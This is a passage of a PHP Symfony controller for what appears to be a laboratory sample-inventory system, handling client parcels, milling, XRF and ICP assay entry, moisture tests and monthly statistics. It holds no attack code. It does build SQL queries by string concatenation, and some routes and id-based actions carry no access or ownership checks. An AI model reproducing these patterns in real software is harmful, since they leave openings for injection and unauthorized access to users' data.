  817. $order = $this->getDoctrine()->getRepository(ClientParcel::class)->findOneBy([
  818. 'id' => $id
  819. ]);
  820. $this->em->remove($order);
  821. $this->em->flush();
  822. return new Response ("ayylmao");
  823. }
  824. //=====================================================================================================================================================================================<
  825. /**
  826. * @IsGranted("ROLE_USER")
  827. * @Route("/acceptclientorder/{id}", name="acceptclientorder")
  828. * @param int $id
  829. * @param Request $request
  830. * @return Response $response
  831. */
  832. public function acceptclientorder(int $id, Request $request)
  833. {
  834. /** @var ClientParcel $clientparcel */
  835. $clientparcel = $this->getDoctrine()->getRepository(ClientParcel::class)->findOneBy([
  836. 'id' => $id
  837. ]);
  838. if ($clientparcel->getAccepted() == false){
  839. $clientparcel->setAccepted(true);
  840. $this->em->persist($clientparcel);
  841. /** @var Orders $neworder */
  842. $neworder = new Orders();
  843. $neworder->setSender($clientparcel->getSender());
  844. $neworder->setCourrier($clientparcel->getCourrier());
  845. $neworder->setWaybill($clientparcel->getWaybill());
  846. $neworder->setDateOfReceipt(new \DateTime());
  847. $neworder->setStatus("Open");
  848. $neworder->setOrderno("TO NAME");
  849. $this->em->persist($neworder);
  850. foreach($clientparcel->getDataarray() as $j){
  851. $newsample = new Inventory();
  852. $newsample->setAssignedOrder($neworder);
  853. $newsample->setXrfpt(array_key_exists('pt', $j) ? (float)str_replace(",",".",$j["pt"]) : 0);
  854. $newsample->setXrfpd(array_key_exists('pd', $j) ? (float)str_replace(",",".",$j["pd"]) : 0);
  855. $newsample->setXrfrh(array_key_exists('rh', $j) ? (float)str_replace(",",".",$j["rh"]) : 0);
  856. $newsample->setSampleType($j["type"]);
  857. $newsample->setSampleName($j["reference"]);
  858. $newsample->setCountry($j["country"]);
  859. $newsample->setExportno($j["export"]);
  860. $newsample->setDateofreceipt(new \DateTime());
  861. $newsample->setMass((float)str_replace(",",".",$j['mass']));
  862. $newsample->setAddedtocatalogue(false);
  863. $newsample->setPriority('Normal');
  864. $newsample->setMillStatus("Original");
  865. $newsample->setXrfStatus("To Add");
  866. $newsample->setAnalysisStatus("None");
  867. $newsample->setReady(false);
  868. $this->em->persist($newsample);
  869. }
  870. }
  872. $this->em->flush();
  873. return new Response ("ayylmao");
  874. }
  875. //=====================================================================================================================================================================================<
  876. /**
  877. * @IsGranted("ROLE_USER")
  878. * @Route("/clientaddorder", name="clientaddorder")
  879. */
  880. public function clientaddorder(Request $request)
  881. {
  882. if ( $request->isMethod("post") ) {
  883. $user = $this->getUser();
  884. $info = $request->get('info');
  885. $newparcel = new ClientParcel();
  886. $newparcel->setClient($user);
  887. $newparcel->setCourrier($info["courrier"]);
  888. $newparcel->setWaybill($info["waybill"]);
  889. $newparcel->setSender($info["sender"]);
  890. $newparcel->setComment($info["comment"]);
  891. $info = $info["info"];
  892. //$newparcel->setData($info);
  893. $newparcel->setDataarray($info);
  894. $newparcel->setDateadded(new \DateTime());
  895. $newparcel->setAccepted(false);
  897. $this->em->persist($newparcel);
  898. $this->em->flush();
  899. return new Response("/");
  900. }
  902. $usercountry = ($this->getUser()->getCountry() ? $this->getUser()->getCountry() : []);
  903. $samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  904. 'country' => $usercountry
  905. ],[
  906. 'id' => 'DESC'
  907. ]);
  908. $samples2=[];
  909. if (in_array("WC",$usercountry)){
  910. $samples2 = $this->em
  911. ->createQuery(
  912. "SELECT a FROM App\Entity\Inventory a WHERE a.exportno LIKE '%M%' ORDER BY a.id DESC"
  913. )
  914. ->getResult();
  915. }
  916. $samples = array_merge($samples,$samples2);
  917. return $this->render('cats/addclientorder.html.twig', [
  918. 'samples' => $samples,
  919. ]);
  920. }
  921. //=====================================================================================================================================================================================<
  922. /**
  923. * @IsGranted("ROLE_USER")
  924. * @Route("/stats/{id}", name="stats")
  925. * @param int $id
  926. * @param Request $request
  927. * @return Response $response
  928. */
  929. public function stats(int $id, Request $request)
  930. {
  931. $usercountry = $this->getUser()->getCountry();
  932. $messages = $this->getDoctrine()->getRepository(FeedEntry::class)->findAll();
  933. $bonuses = $this->getDoctrine()->getRepository(MonthlyBonus::class)->findOneBy([
  934. 'id' => $id
  935. ]);
  939. // $qb instanceof QueryBuilder
  940. $qb = $this->em->createQueryBuilder();
  941. $qb->select('count(t.id)');
  942. $qb->from(Inventory::class, 't');
  943. $qb->add('where', "t.dateFinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  944. // $qb->where('t.dateFinished > 2020-09-18');
  945. $qb->setMaxResults('1');
  947. $result = $qb->getQuery()->getSingleScalarResult();
  948. $qb1 = $this->em->createQueryBuilder();
  949. $qb1->select('t');
  950. $qb1->from(FABatch::class, 't');
  951. $qb1->add('where', "t.datefinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  952. $anotherresult = $qb1->getQuery()->getResult();
  953. $anotherresult = !$anotherresult ? $anotherresult = [1] : $anotherresult;
  954. $loginfo= [];
  955. $loginfo2= [];
  956. $tasks= [];
  957. $batchesdaily = [];
  958. $batchesdaily2 = [];
  959. $anotherresult2 = 0;
  960. $anotherresult4 = 0;
  961. foreach ($anotherresult as $x){
  963. array_push($loginfo, $x->getDateFinished()->format('j'));
  964. $sql = "SELECT count(id) FROM fabatch WHERE datefinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDateFinished()->format('d') ."' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDateFinished()->format('d') . " 23:59:59'";
  965. $stmt = $this->em->getConnection()->prepare($sql);
  966. $anotherresult2=$stmt->executeQuery()->fetchAllAssociative();
  967. $batchesdaily[$x->getDateFinished()->format('j')] = array_values(array_shift($anotherresult2))[0];
  968. }
  969. $qb3 = $this->em->createQueryBuilder();
  970. $qb3->select('t');
  971. $qb3->from(ICPBatch::class, 't');
  972. $qb3->add('where', "t.date between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  973. $anotherresult3 = $qb3->getQuery()->getResult();
  974. $anotherresult3 = !$anotherresult3 ? $anotherresult3 = [1] : $anotherresult3;
  975. foreach ($anotherresult3 as $x){
  977. array_push($loginfo2, $x->getDate()->format('j'));
  978. $sql = "SELECT count(id) FROM icpbatch WHERE date between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDate()->format('d') ."' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDate()->format('d') . " 23:59:59'";
  979. $stmt = $this->em->getConnection()->prepare($sql);
  980. $anotherresult4=$stmt->executeQuery()->fetchAllAssociative();
  981. $batchesdaily2[$x->getDate()->format('j')] = array_values(array_shift($anotherresult4))[0];
  982. }
  984. return $this->render('cats/stats.html.twig', [
  985. 'messages' => $messages,
  986. 'bonuses' => $bonuses,
  987. 'data' => $result,
  988. 'data23' => $anotherresult,
  989. 'loginfo' => $loginfo,
  990. 'batchesdaily' => $batchesdaily,
  991. 'test2' => $anotherresult2,
  992. 'icp' => $anotherresult3,
  993. 'icp2' => $batchesdaily2,
  994. 'tasks' => $tasks
  995. ]);
  996. }
  997. //=====================================================================================================================================================================================<
  998. /**
  999. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1000. * @param Request $request
  1001. * @Route("/mill", name="mill")
  1002. * @return Response $response
  1003. */
  1004. public function mill(Request $request)
  1005. {
  1006. $loginfo= [];
  1007. if ( $request->isMethod("post") ) {
  1008. if (null !== $request->get('markmilled')){
  1009. $info = $request->get('ids');
  1010. if(!empty($info)){
  1011. foreach($info as $j) {
  1012. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  1013. $entry->setMillStatus('Milled');
  1014. $entry->setDateMilled(new \DateTime());
  1015. $this->em->persist($entry);
  1016. array_push($loginfo, $entry->getId() . ' - ' . $entry->getSamplename());
  1017. }
  1018. $log = new Log();
  1019. $log->setDate(new \DateTime());
  1020. $log->setType('Mill Status');
  1021. $log->setText('Sample mill status was updated to Milled');
  1022. $log->setAssignedUser($this->getUser());
  1023. $log->setText2(implode(", ", $loginfo));
  1024. $this->em->persist($log);
  1025. $this->em->flush();
  1026. }
  1028. }
  1029. if (null !== $request->get('revert')){
  1030. $info = $request->get('ids');
  1031. if(!empty($info)){
  1032. foreach($info as $j) {
  1033. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  1034. $entry->setMillStatus('Original');
  1035. $entry->setDateMilled(null);
  1036. $this->em->persist($entry);
  1037. array_push($loginfo, $entry->getId() . ' - ' . $entry->getSamplename());
  1038. }
  1039. $log = new Log();
  1040. $log->setDate(new \DateTime());
  1041. $log->setType('Mill Status');
  1042. $log->setText('Sample mill status reverted to Original');
  1043. $log->setAssignedUser($this->getUser());
  1044. $log->setText2(implode(", ", $loginfo));
  1045. $this->em->persist($log);
  1046. $this->em->flush();
  1047. }
  1049. }
  1050. }
  1051. $millinv = $this->getDoctrine()->getRepository(Inventory::class)->findby(['millStatus' => 'To Mill'], ['priority' => 'ASC', 'id' => 'DESC']);
  1052. return $this->render('cats/mill.html.twig', [
  1053. 'inventory' => $millinv
  1054. ]);
  1055. }
  1056. //=====================================================================================================================================================================================<
  1057. /**
  1058. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1059. * @param Request $request
  1060. * @Route("/fassayreg/disqbatches", name="disqbatches")
  1061. * @return Response $response
  1062. */
  1063. public function disqbatches(Request $request)
  1064. {
  1065. $disqbatches = $this->getDoctrine()->getRepository(DISQBatch::class)->findBy(
  1066. ['status' => ["finished",null,]],['id'=>'DESC'],50
  1067. );
  1069. return $this->render('cats/disqbatches.html.twig', [
  1070. 'batches' => $disqbatches
  1071. ]);
  1072. }
  1073. //=====================================================================================================================================================================================<
  1074. /**
  1075. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1076. * @param Request $request
  1077. * @Route("/icp/icpbatches", name="icpbatches")
  1078. * @return Response $response
  1079. */
  1080. public function icpbatches(Request $request)
  1081. {
  1082. $icpbatches = $this->getDoctrine()->getRepository(ICPBatch::class)->findBy(
  1083. ['status' => null],['id' => 'DESC'],
  1084. 50
  1085. );
  1086. return $this->render('cats/icpbatches.html.twig', [
  1087. 'batches' => $icpbatches
  1088. ]);
  1089. }
  1090. //=====================================================================================================================================================================================<
  1091. /**
  1092. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1093. * @param Request $request
  1094. * @Route("/fassayreg/fabatches", name="fabatches")
  1095. * @return Response $response
  1096. */
  1097. public function fabatches(Request $request)
  1098. {
  1099. $fabatches = $this->getDoctrine()->getRepository(FABatch::class)->findBy(
  1100. ['status' => [null,'finished']],['id' => 'DESC']
  1101. );
  1102. return $this->render('cats/fabatches.html.twig', [
  1103. 'fabatches' => $fabatches
  1104. ]);
  1105. }
  1107. /**
  1108. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1109. * @Route("/fassayreg/au-batches", name="au-batches")
  1110. * @return Response $response
  1111. */
  1112. public function auBatches(AuBatchManager $auBatchManager): Response
  1113. {
  1114. return $this->render(
  1115. 'cats/au-batches.html.twig',
  1116. ['batches' => $auBatchManager->getList(), 'details' => $auBatchManager->getDetails()]
  1117. );
  1118. }
  1119. //=====================================================================================================================================================================================<
  1120. /**
  1121. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1122. * @param Request $request
  1123. * @Route("/inv", name="visitorinventory")
  1124. * @return Response $response
  1125. */
  1126. public function visitorinventory(Request $request)
  1127. {
  1129. return $this->render('cats/visitinv.html.twig');
  1130. }
  1131. //=====================================================================================================================================================================================<
  1132. /**
  1133. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1134. * @param Request $request
  1135. * @Route("/inventory", name="inventory")
  1136. * @return Response $response
  1137. */
  1138. public function inventory(Request $request, ExportCountryRelationService $relationService)
  1139. {
  1140. if ( $request->isMethod("post") ) {
  1141. $loginfo= [];
  1142. if (null !== $request->get('edit')){
  1143. $info = $request->get('ids');
  1144. $editinv = $this->getDoctrine()->getRepository(Inventory::class)->findby([
  1145. 'id' => $info
  1146. ]);
  1147. return $this->render('cats/edit.html.twig', [
  1148. 'inventory' => $editinv
  1149. ]);
  1150. }
  1151. if (null !== $request->get('startanalysis')){
  1152. $info = $request->get('ids');
  1153. /** @var Inventory $dumby */
  1154. if(!empty($info)) {
  1155. foreach ($info as $j) {
  1157. $dumby = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  1158. if (($dumby->getAnalysisStatus() == 'In Progress') or ($dumby->getAnalysisStatus() == 'To Start')){
  1159. $dumby->setAnalysisStatus('None');
  1160. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - None');
  1162. } elseif (($dumby->getAnalysisStatus() != 'Completed')) {
  1163. $dumby->setAnalysisStatus('To Start');
  1164. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - To Start');
  1165. } elseif (($dumby->getAnalysisStatus() == 'Completed')) {
  1166. $dumby->setAnalysisStatus('In Progress');
  1167. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - To Start');
  1168. }
  1169. $log = new Log();
  1170. $log->setDate(new \DateTime());
  1171. $log->setType('Analysis Status');
  1172. $log->setText('Analysis status manually altered for samples');
  1173. $log->setAssignedUser($this->getUser());
  1174. $log->setText2(implode(", ", $loginfo));
  1176. $this->em->persist($log);
  1178. $this->em->persist($dumby);
  1179. }
  1180. }
  1181. $this->em->flush();
  1182. return $this->redirect($this->generateUrl('inventory'));
  1184. }
  1185. if (null !== $request->get('editconfirm')){
  1186. $info = $request->get('entry');
  1188. foreach($info as $j) {
  1190. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j['id']);
  1191. array_push($loginfo, $entry->getId() . ' - ' .$entry->getSampleName() . ' - ' . ' - ' .$j['type']. ' - ' .$j['subtype']. ' - ' .$j['name']. ' - ' .$j['country']. ' - ' .$j['mass']. ' - ' . $j['export']);
  1192. $entry->setSampleType($j['type'])
  1193. ->setSampleSubtype($j['subtype'])
  1194. ->setSampleName($j['name'])
  1195. ->setDueDate(new DateTime($j['dueDate']));
  1196. $entry->setCountry($j['country']);
  1197. if ((float)str_replace(",",".",$j['mass']) > 0) {
  1198. $entry->setMass((float)str_replace(",",".",$j['mass']));
  1199. }
  1200. if ((float)str_replace(",",".",$j['metalweight']) > 0) {
  1201. $entry->setMetalweight((float)str_replace(",",".",$j['metalweight']));
  1202. }
  1203. $entry->setExportno($j['export']);
  1204. $this->em->persist($entry);
  1207. }
  1208. $log = new Log();
  1209. $log->setDate(new \DateTime());
  1210. $log->setType('Sample Info');
  1211. $log->setText('Sample information was edited');
  1212. $log->setAssignedUser($this->getUser());
  1213. $log->setText2(implode(", ", $loginfo));
  1215. $this->em->persist($log);
  1216. $this->em->flush();
  1217. return $this->redirect($this->generateUrl('inventory'));
  1218. }
  1219. if (null !== $request->get('manualicp')){
  1220. $info = $request->get('ids');
  1221. $micp = $this->getDoctrine()->getRepository(Inventory::class)->findby([
  1222. 'id' => $info
  1223. ]);
  1224. return $this->render('cats/micp.html.twig', [
  1225. 'inventory' => $micp
  1226. ]);
  1227. }
  1228. if (null !== $request->get('manualicpconfirm')){
  1229. $info = $request->get('entry');
  1230. if(in_array('ROLE_SUPER',$this->getUser()->getRoles())){
  1233. foreach($info as $j) {
  1235. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j['id']);
  1236. /** @var Inventory $entry */
  1237. $entry->setIcppt((int)$j['pt'])
  1238. ->setIcppd((int)$j['pd'])
  1239. ->setIcprh((int)$j['rh'])
  1240. ->setDateFinished(new \DateTime())
  1241. ->setAnalysisStatus('Completed');
  1242. $this->em->persist($entry);
  1243. array_push($loginfo, $entry->getId() . ' - ' .$entry->getSampleName() . ' - ' . (int)$j['pt']. ' - ' . (int)$j['pd']. ' - ' . (int)$j['rh']);
  1245. }
  1246. $log = new Log();
  1247. $log->setDate(new \DateTime());
  1248. $log->setType('Assay Info');
  1249. $log->setText('Assay information was manually added');
  1250. $log->setAssignedUser($this->getUser());
  1251. $log->setText2(implode(", ", $loginfo));
  1252. $this->em->persist($log);
  1253. $this->em->flush();
  1254. }
  1255. return $this->redirect($this->generateUrl('inventory'));
  1256. }
  1257. if (null !== $request->get('addtoorder')){
  1258. $info = $request->get('entry');
  1259. return $this->redirect($this->generateUrl('inventory'));
  1260. }
  1261. if (null !== $request->get('xrf')){
  1262. $info = $request->get('ids');
  1263. $xrfinv = $this->getDoctrine()->getRepository(Inventory::class)->findby([
  1264. 'id' => $info
  1265. ]);
  1266. return $this->render('cats/xrf.html.twig', [
  1267. 'inventory' => $xrfinv
  1268. ]);
  1269. }
  1270. if (null !== $request->get('xrfconfirm')){
  1271. $info = $request->get('entry');
  1273. foreach($info as $j) {
  1274. /** @var Inventory $entry */
  1275. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j['id']);
  1276. $entry->setXrfpt($j['pt'] != 0 ? round((float)$j['pt'],0) : 0)->setXrfpd($j['pd'] != 0 ? round((float)$j['pd'],0) : 0)->setXrfrh($j['rh'] != 0 ? round((float)$j['rh'],0) : 0)->setXrfStatus('Added');
  1277. $this->em->persist($entry);
  1278. array_push($loginfo, $entry->getId() . ' - ' .$entry->getSampleName() . ' - ' . (int)$j['pt']. ' - ' . (int)$j['pd']. ' - ' . (int)$j['rh']);
  1280. }
  1281. $log = new Log();
  1282. $log->setDate(new \DateTime());
  1283. $log->setType('XRF Info');
  1284. $log->setText('XRF information was manually added');
  1285. $log->setAssignedUser($this->getUser());
  1286. $log->setText2(implode(", ", $loginfo));
  1287. $this->em->persist($log);
  1288. $this->em->flush();
  1289. return $this->redirect($this->generateUrl('inventory'));
  1290. }
  1291. if (null !== $request->get('mill')){
  1292. $info = $request->get('ids');
  1293. /** @var Inventory $dumby */
  1294. if(!empty($info)) {
  1295. foreach ($info as $j) {
  1297. $dumby = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  1298. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName());
  1299. $dumby->setMillStatus('To Mill');
  1300. $this->em->persist($dumby);
  1301. }
  1302. }
  1303. $log = new Log();
  1304. $log->setDate(new \DateTime());
  1305. $log->setType('Mill Status');
  1306. $log->setText('Sample mill status changed to To Mill');
  1307. $log->setAssignedUser($this->getUser());
  1308. $log->setText2(implode(", ", $loginfo));
  1309. $this->em->persist($log);
  1310. $this->em->flush();
  1311. return $this->redirect($this->generateUrl('inventory'));
  1313. }
  1314. //=======================================================================================
  1315. if (null !== $request->get('moist')){
  1316. $info = $request->get('ids');
  1317. /** @var Inventory $dumby */
  1318. if(!empty($info)) {
  1319. foreach ($info as $j) {
  1320. $dumby = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  1322. if(count($dumby->getMoists()) == NULL) {
  1323. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName());
  1324. $newmoists1 = new Moists();
  1325. $newmoists1->setMoistsref($dumby->getId() . "-M1");
  1326. $newmoists1->setAssignedSample($dumby);
  1327. $newmoists1->setStatus('To Do');
  1328. $newmoists1->setCounts(true);
  1329. $this->em->persist($newmoists1);
  1331. $newmoists2 = new Moists();
  1332. $newmoists2->setMoistsref($dumby->getId() . "-M2");
  1333. $newmoists2->setAssignedSample($dumby);
  1334. $newmoists2->setStatus('To Do');
  1335. $newmoists2->setCounts(true);
  1336. $this->em->persist($newmoists2);
  1338. $dumby->setMoistStatus("In Progress");
  1340. } elseif(count($dumby->getMoists()) == 2) {
  1341. array_push($loginfo, $dumby->getId() . ' - ' . $dumby->getSampleName());
  1342. $newmoists3 = new Moists();
  1343. $newmoists3->setMoistsref($dumby->getId() . "-M3");
  1344. $newmoists3->setAssignedSample($dumby);
  1345. $newmoists3->setStatus('To Do');
  1346. $newmoists3->setCounts(true);
  1347. $this->em->persist($newmoists3);
  1349. $dumby->setMoistStatus("In Progress");
  1351. } elseif(count($dumby->getMoists()) == 3) {
  1352. array_push($loginfo, $dumby->getId() . ' - ' . $dumby->getSampleName());
  1353. $newmoists4 = new Moists();
  1354. $newmoists4->setMoistsref($dumby->getId() . "-M4");
  1355. $newmoists4->setAssignedSample($dumby);
  1356. $newmoists4->setStatus('To Do');
  1357. $newmoists4->setCounts(true);
  1358. $this->em->persist($newmoists4);
  1360. $dumby->setMoistStatus("In Progress");
  1362. } elseif(count($dumby->getMoists()) == 4) {
  1363. array_push($loginfo, $dumby->getId() . ' - ' . $dumby->getSampleName());
  1364. $newmoists5 = new Moists();
  1365. $newmoists5->setMoistsref($dumby->getId() . "-M5");
  1366. $newmoists5->setAssignedSample($dumby);
  1367. $newmoists5->setStatus('To Do');
  1368. $newmoists5->setCounts(true);
  1369. $this->em->persist($newmoists5);
  1371. $dumby->setMoistStatus("In Progress");
  1373. } elseif(count($dumby->getMoists()) == 1) {
  1374. array_push($loginfo, $dumby->getId() . ' - ' . $dumby->getSampleName());
  1376. foreach ($dumby->getMoists() as $i){
  1377. /** @var Moists $moist */
  1378. $moist = $this->getDoctrine()->getRepository(Moists::class)->find($i);
  1379. if (substr($moist->getMoistsref(),-1) == "M"){
  1380. $moist->setMoistsref($dumby->getId() . "-M1");
  1381. $moist->setStatus("Reverted for 2nd");
  1382. }
  1383. }
  1385. $newmoists2 = new Moists();
  1386. $newmoists2->setMoistsref($dumby->getId() . "-M2");
  1387. $newmoists2->setAssignedSample($dumby);
  1388. $newmoists2->setStatus('To Do');
  1389. $newmoists2->setCounts(true);
  1390. $this->em->persist($newmoists2);
  1392. $dumby->setMoistStatus("In Progress");
  1393. }
  1394. }
  1396. $log = new Log();
  1397. $log->setDate(new \DateTime());
  1398. $log->setType('Moisture Info');
  1399. $log->setText('Sample were put up for Moisture testing');
  1400. $log->setAssignedUser($this->getUser());
  1401. $log->setText2(implode(", ", $loginfo));
  1402. $this->em->persist($log);
  1403. $this->em->flush();
  1404. }
  1405. return $this->redirect($this->generateUrl('inventory'));
  1406. }
  1408. if (null !== $request->get('moistrevert')){
  1409. $info = $request->get('ids');
  1410. /** @var Inventory $inv */
  1411. if(!empty($info)){
  1412. foreach ($info as $j){
  1413. $inv = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  1414. if ($inv->getMoistStatus() == "Archived" or $inv->getMoistStatus() == null){
  1415. $inv->setMoistStatus("Reverted");
  1416. foreach ($inv->getMoists() as $i){
  1417. /** @var Moists $i*/
  1418. $i->setStatus('Reverted');
  1419. $this->em->persist($i);
  1420. }
  1421. }
  1422. $this->em->persist($inv);
  1423. }
  1424. $this->em->flush();
  1425. }
  1426. }
  1427. }
  1428. $orders = $this->getDoctrine()->getRepository(Orders::class)->findAll();
  1429. $relationViewData = $relationService->getViewData();
  1431. return $this->render('cats/catinventory.html.twig', [
  1432. 'orders' => $orders,
  1433. 'exportCountryRelations' => $relationViewData['relations'],
  1434. 'exportCountryLookup' => $relationViewData['lookup'],
  1435. ]);
  1436. }
  1438. /**
  1439. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1440. * @Route("/inventory/export-country-relations", name="inventory_export_country_relation_save", methods={"POST"})
  1441. */
  1442. public function saveInventoryExportCountryRelation(
  1443. Request $request,
  1444. ExportCountryRelationService $relationService
  1445. ): JsonResponse {
  1446. $data = json_decode($request->getContent(), true);
  1448. if (!is_array($data)) {
  1449. return $this->json([
  1450. 'status' => 'error',
  1451. 'message' => 'Invalid request payload.',
  1452. ], JsonResponse::HTTP_BAD_REQUEST);
  1453. }
  1455. try {
  1456. $relation = $relationService->saveFromPayload(MinExportCountryRelationPayload::fromArray($data));
  1457. } catch (HttpExceptionInterface $exception) {
  1458. return $this->json([
  1459. 'status' => 'error',
  1460. 'message' => $exception->getMessage(),
  1461. ], $exception->getStatusCode());
  1462. }
  1464. return $this->json([
  1465. 'status' => 'success',
  1466. 'relation' => $relationService->serializeRelation($relation),
  1467. ]);
  1468. }
  1470. /**
  1471. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1472. * @Route("/inventory/export-country-relations/{relationId}", name="inventory_export_country_relation_delete", methods={"DELETE"})
  1473. */
  1474. public function deleteInventoryExportCountryRelation(
  1475. int $relationId,
  1476. ExportCountryRelationService $relationService
  1477. ): JsonResponse {
  1478. try {
  1479. $relationService->deleteById($relationId);
  1480. } catch (HttpExceptionInterface $exception) {
  1481. return $this->json([
  1482. 'status' => 'error',
  1483. 'message' => $exception->getMessage(),
  1484. ], $exception->getStatusCode());
  1485. }
  1487. return $this->json([
  1488. 'status' => 'success',
  1489. 'message' => 'Relation deleted.',
  1490. ]);
  1491. }
  1494. /**
  1495. * @Route("/cat/labelCsv", name="cat_labelCsv")
  1496. * @param Request $request
  1497. * @return StreamedResponse
  1498. */
  1499. public function catLabelCsv(Request $request): StreamedResponse
  1500. {
  1501. $samples = $request->get('samples');
  1502. $labels = [];
  1504. foreach ($samples as $sampleId) {
  1505. /** @var Inventory $sample */
  1506. $sample = $this->getDoctrine()->getRepository(Inventory::class)->find($sampleId);
  1508. if ($sample) {
  1509. $labels[] = [
  1510. $sample->getId(),
  1511. $sample->getSampleName() ?? ''
  1512. ];
  1513. }
  1514. }
  1516. $response = new StreamedResponse(function() use ($labels) {
  1517. $handle = fopen('php://output', 'w+');
  1519. // Add the header of the CSV file
  1520. fputcsv($handle, ['ID', 'Sample Reference']);
  1522. foreach ($labels as $label) {
  1523. fputcsv($handle, $label);
  1524. }
  1526. fclose($handle);
  1527. });
  1529. $response->headers->set('Content-Type', 'text/csv');
  1530. $response->headers->set('Content-Disposition', 'attachment; filename="cat_labels.csv"');
  1532. return $response;
  1533. }
  1535. //=====================================================================================================================================================================================<
  1536. /**
  1537. * @Security("is_granted('ROLE_ADMINISTRATORIUS')")
  1538. * @param Request $request
  1539. * @Route("/adminventory", name="adminventory")
  1540. * @return Response $response
  1541. */
  1542. public function adminventory(Request $request)
  1543. {
  1544. if ( $request->isMethod("post") ) {
  1545. $loginfo= [];
  1546. if (null !== $request->get('edit')){
  1547. $info = $request->get('ids');
  1548. $editinv = $this->getDoctrine()->getRepository(Inventory::class)->findby([
  1549. 'id' => $info
  1550. ]);
  1551. return $this->render('cats/edit.html.twig', [
  1552. 'inventory' => $editinv
  1553. ]);
  1554. }
  1555. if (null !== $request->get('startanalysis')){
  1556. $info = $request->get('ids');
  1557. /** @var Inventory $dumby */
  1558. if(!empty($info)) {
  1559. foreach ($info as $j) {
  1561. $dumby = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  1562. if (($dumby->getAnalysisStatus() == 'In Progress') or ($dumby->getAnalysisStatus() == 'To Start')){
  1563. $dumby->setAnalysisStatus('None');
  1564. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - None');
  1566. } elseif (($dumby->getAnalysisStatus() != 'Completed')) {
  1567. $dumby->setAnalysisStatus('To Start');
  1568. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - To Start');
  1569. } elseif (($dumby->getAnalysisStatus() == 'Completed')) {
  1570. $dumby->setAnalysisStatus('In Progress');
  1571. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - To Start');
  1572. }
  1573. $log = new Log();
  1574. $log->setDate(new \DateTime());
  1575. $log->setType('Analysis Status');
  1576. $log->setText('Analysis status manually altered for samples');
  1577. $log->setAssignedUser($this->getUser());
  1578. $log->setText2(implode(", ", $loginfo));
  1580. $this->em->persist($log);
  1582. $this->em->persist($dumby);
  1583. }
  1584. }
  1585. $this->em->flush();
  1586. return $this->redirect($this->generateUrl('inventory'));
  1588. }
  1589. if (null !== $request->get('editconfirm')){
  1590. $info = $request->get('entry');
  1592. foreach($info as $j) {
  1594. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j['id']);
  1595. array_push($loginfo, $entry->getId() . ' - ' .$entry->getSampleName() . ' - ' . ' - ' .$j['type']. ' - ' .$j['subtype']. ' - ' .$j['name']. ' - ' .$j['country']. ' - ' .$j['mass']. ' - ' . $j['export']);
  1596. $entry->setSampleType($j['type'])
  1597. ->setSampleSubtype($j['subtype'])
  1598. ->setSampleName($j['name']);
  1599. $entry->setCountry($j['country']);
  1600. if ((float)str_replace(",",".",$j['mass']) > 0) {
  1601. $entry->setMass((float)str_replace(",",".",$j['mass']));
  1602. }
  1603. $entry->setExportno($j['export']);
  1604. $this->em->persist($entry);
  1607. }
  1608. $log = new Log();
  1609. $log->setDate(new \DateTime());
  1610. $log->setType('Sample Info');
  1611. $log->setText('Sample information was edited');
  1612. $log->setAssignedUser($this->getUser());
  1613. $log->setText2(implode(", ", $loginfo));
  1615. $this->em->persist($log);
  1616. $this->em->flush();
  1617. return $this->redirect($this->generateUrl('inventory'));
  1618. }
  1619. if (null !== $request->get('addtoorder')){
  1620. $info = $request->get('entry');
  1621. return $this->redirect($this->generateUrl('inventory'));
  1622. }
  1624. }
  1626. $orders = $this->getDoctrine()->getRepository(Orders::class)->findAll();
  1627. return $this->render('cats/catadminventory.html.twig', [
  1628. 'orders' => $orders
  1629. ]);
  1630. }
  1631. //=====================================================================================================================================================================================<
  1632. /**
  1633. * @Route("/getinv", name="getinv")
  1634. */
  1635. public function ajaxgetinv()
  1636. {
  1637. $response = new Response();
